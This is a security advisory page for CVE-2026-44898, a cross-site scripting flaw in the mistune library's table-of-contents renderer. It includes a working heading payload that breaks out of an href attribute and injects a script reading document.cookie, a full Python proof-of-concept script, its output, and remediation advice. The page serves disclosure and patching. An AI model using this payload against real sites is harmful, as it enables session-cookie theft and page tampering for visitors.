Skip to main content

mistune CVE-2026-44898

MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-05-14 https://github.com/lepture/mistune GHSA-6269-cqxg-mhhv
6.1
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
SUSE
MEDIUM
qualitative
Red Hat
6.1 MEDIUM
qualitative

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
May 14, 2026 - 17:35 vuln.today
Analysis Generated
May 14, 2026 - 17:35 vuln.today
CVE Published
May 14, 2026 - 16:36 nvd
MEDIUM 6.1

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 4 pypi packages depend on mistune (4 direct, 0 indirect)

Ecosystem-wide dependent count for version 3.2.0.

DescriptionGitHub Advisory

Summary

render_toc_ul() builds a <ul> table-of-contents tree from a list of (level, id, text) tuples. Both the id value (used as href="#<id>") and the text value (used as the visible link label) are inserted into <a> tags via a plain Python format string - with no HTML escaping applied to either value.

When heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the href="#..." attribute context, injecting arbitrary HTML tags including <script> blocks directly into the rendered TOC.

This vulnerability is closely related to H2 (unescaped id= in heading()): the same heading_id callback pattern that triggers H2 also populates the toc_items list that render_toc_ul() consumes, meaning both vulnerabilities fire simultaneously in a typical documentation setup.

Details

File: src/mistune/toc.py

python
def render_toc_ul(toc):
    ...
    for level, k, text in toc:
# k   = heading id  (used verbatim as href fragment)
# text = heading text (used verbatim as link label)
        item = '<a href="#{}">{}</a>'.format(k, text)
# Neither k nor text is passed through escape() at any point

The k and text values come directly from the toc_items list accumulated during parsing. If k contains " or >, the href attribute is broken. If text contains <, raw tags are injected as the visible link content.

PoC

Step 1 - Establish the baseline (safe default IDs)

The script creates a parser with escape=True and the default add_toc_hook() (no custom callback). The default hook assigns sequential numeric IDs that never contain user text:

python
md_safe = create_markdown(escape=True)
add_toc_hook(md_safe)

bl_src = "
# Introduction\n\n
## Installation\n"
_, state = md_safe.parse(bl_src)
bl_out = render_toc_ul(state.env.get("toc_items", []))

Output - clean, safe TOC:

html
<ul>
<li><a href="#toc_1">Introduction</a>
<ul>
<li><a href="#toc_2">Installation</a></li>
</ul>
</li>
</ul>

Step 2 - Enable the vulnerable heading_id callback

Register a callback that returns the raw heading text as the ID. This is the standard slug-based anchor pattern used by documentation generators:

python
def raw_id(token, index):
    return token.get("text", "")

md_vuln = create_markdown(escape=True)
add_toc_hook(md_vuln, heading_id=raw_id)

Step 3 - Craft the exploit payload

Construct a heading whose text terminates the href="#..." attribute and injects a <script> block followed by a dangling <a href=" to absorb the closing "> that render_toc_ul appends:

## x"><script>alert(document.cookie)</script><a href="

When raw_id processes this heading, it returns the entire text as the ID: x"><script>alert(document.cookie)</script><a href=".

Step 4 - Observe script injection in the TOC output

python
ex_src = '
## x"><script>alert(document.cookie)</script><a href="\n'
_, state = md_vuln.parse(ex_src)
ex_out = render_toc_ul(state.env.get("toc_items", []))

render_toc_ul() formats the malicious ID directly into the <a href>:

python
'<a href="#{}">{}</a>'.format(k, text)
# becomes:
'<a href="#x"><script>alert(document.cookie)</script><a href="">...<a/>'

Actual output:

html
<ul>
<li><a href="#x"><script>alert(document.cookie)</script><a href="">x&quot;&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&lt;a href=&quot;</a></li>
</ul>

The <script> block is live in the document. Note that the anchor *label* (text) is escaped correctly by mistune's inline renderer before it reaches toc_items, but k (the heading ID) is not escaped anywhere.

Script

I have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.

python
#!/usr/bin/env python3
"""H4: render_toc_ul() puts raw heading ID into <a href> without escaping."""
import os, html as h
from mistune import create_markdown
from mistune.toc import add_toc_hook, render_toc_ul

def raw_id(token, index):
    return token.get("text", "")
# --- baseline ---
md_safe = create_markdown(escape=True)
add_toc_hook(md_safe)

bl_file = "baseline_h4.md"
bl_src  = "
# Introduction\n\n
## Installation\n"
with open(os.path.join(os.getcwd(), bl_file), "w") as f:
    f.write(bl_src)
_, state = md_safe.parse(bl_src)
bl_out = render_toc_ul(state.env.get("toc_items", []))

print(f"[{bl_file}]\n{bl_src}")
print("[toc output - safe]")
print(bl_out)
# --- exploit ---
md_vuln = create_markdown(escape=True)
add_toc_hook(md_vuln, heading_id=raw_id)

ex_file = "exploit_h4.md"
ex_src  = '
## x"><script>alert(document.cookie)</script><a href="\n'
with open(os.path.join(os.getcwd(), ex_file), "w") as f:
    f.write(ex_src)
_, state = md_vuln.parse(ex_src)
ex_out = render_toc_ul(state.env.get("toc_items", []))

print(f"[{ex_file}]\n{ex_src}")
print("[toc output - script injected via href breakout]")
print(ex_out)
# --- HTML report ---
CSS = """
body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}
h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}
p.desc{color:#555;font-size:.9em;margin-top:6px}
.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}
.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}
.baseline .case-header{background:#d1fae5;color:#065f46}
.exploit  .case-header{background:#fee2e2;color:#7f1d1d}
.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}
.panel{padding:16px}
.panel+.panel{border-left:1px solid #eee}
.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}
pre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}
.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}
.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}
"""

def case(kind, label, filename, src, out):
    return f"""
<div class="case {kind}">
  <div class="case-header">{'BASELINE' if kind=='baseline' else 'EXPLOIT'} - {h.escape(label)}</div>
  <div class="panels">
    <div class="panel">
      <h3>Input - {h.escape(filename)}</h3>
      <pre>{h.escape(src)}</pre>
    </div>
    <div class="panel">
      <h3>TOC output - HTML source</h3>
      <pre>{h.escape(out)}</pre>
      <div class="rlabel">↓ rendered in browser</div>
      <div class="rendered">{out}</div>
    </div>
  </div>
</div>"""

page = f"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8">
<title>H4 - TOC XSS</title><style>{CSS}</style></head><body>
<h1>H4 - TOC render_toc_ul() XSS</h1>
<p class="desc">render_toc_ul() in toc.py uses '&lt;a href="#{{}}"&gt;{{}}&lt;/a&gt;'.format(k, text) -
neither k (the heading ID) nor text is escaped before insertion.</p>
{case("baseline", "Normal headings → sequential IDs → clean TOC links", bl_file, bl_src, bl_out)}
{case("exploit",  "Malicious heading ID breaks out of href='#...' → script injected", ex_file, ex_src, ex_out)}
</body></html>"""

out_path = os.path.join(os.getcwd(), "report_h4.html")
with open(out_path, "w") as f:
    f.write(page)
print(f"\n[report] {out_path}")

Example usage:

bash
python poc.py

Once you run the script, open report_h4.html in the browser and observe the behaviour.

Impact

DimensionAssessment
ConfidentialityJavaScript execution; attacker can exfiltrate session cookies and any data accessible from the page's origin
IntegrityArbitrary DOM manipulation, phishing form injection, forced redirects
AvailabilityPage crash or freeze available as secondary effect

Risk context: TOC generation is a rendering step that often happens in a different template layer from the main body render, potentially reviewed separately and trusted implicitly. Vulnerabilities in TOC output are frequently overlooked in code review. Combined with H2, an attacker exploiting this via a single malicious heading simultaneously injects into both the heading element and the TOC anchor.

AnalysisAI

Cross-site scripting (XSS) vulnerability in mistune's render_toc_ul() function allows attackers to inject arbitrary HTML and JavaScript into table-of-contents output by crafting malicious heading IDs. When heading identifiers are derived from user-supplied text (standard practice for readable slug anchors), an attacker can break out of the href attribute context with a payload like x"><script>alert(document.cookie)</script><a href=", causing the script block to execute in the rendered TOC. The vulnerability requires user interaction (UI:R) to view the poisoned TOC but affects all users of the generated page. Vendor-released patch available in mistune 3.2.1.

Technical ContextAI

The vulnerability exists in src/mistune/toc.py within the render_toc_ul() function, which constructs HTML anchor tags using Python's format string with zero HTML escaping: '<a href="#{}">{}</a>'.format(k, text). The heading ID parameter 'k' and text parameter are inserted directly into the href attribute and link label without passing through an escape() function. When a custom heading_id callback is registered that returns raw user-supplied heading text (a standard pattern for documentation generators producing readable slug anchors), an attacker can craft input that terminates the href attribute using a double-quote character, inject arbitrary HTML/JavaScript tags, and then provide a dangling opening tag to absorb the closing syntax. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation). This vulnerability is related to CVE H2, which addresses the same heading_id callback pattern in the heading() function, meaning both vulnerabilities can be triggered simultaneously by a single malicious heading.

RemediationAI

Upgrade to mistune 3.2.1 or later immediately. The vendor patch modifies render_toc_ul() to apply HTML escaping to the heading ID parameter by importing and using the escape() function: '<a href="#{}">{}</a>'.format(escape(k), text) instead of the unescaped format string. No workarounds are available for versions prior to 3.2.1 without patching the source code. If an immediate upgrade is not feasible, the following compensating controls reduce but do not eliminate risk: disable or remove custom heading_id callbacks and rely instead on the default sequential numeric ID generation (set heading_id=None or do not register a custom callback in add_toc_hook()), restrict documentation generation to trusted internal systems with no untrusted heading input, or implement a Web Application Firewall (WAF) rule that blocks output containing unescaped heading IDs in href attributes (trade-off: maintenance burden and potential false negatives). These mitigations do not address the root cause and are not substitutes for patching. Reference: https://github.com/lepture/mistune/security/advisories/GHSA-6269-cqxg-mhhv

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2026-55255 HIGH POC
8.4 Jun 19

Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing

Vendor StatusVendor

SUSE

Severity: Medium
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Fixed
SUSE Linux Enterprise High Performance Computing 15 SP7 Fixed
SUSE Linux Enterprise Module for Package Hub 15 SP7 Fixed
SUSE Linux Enterprise Module for Python 3 15 SP7 Fixed
SUSE Linux Enterprise Server 15 SP7 Fixed

Share

CVE-2026-44898 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy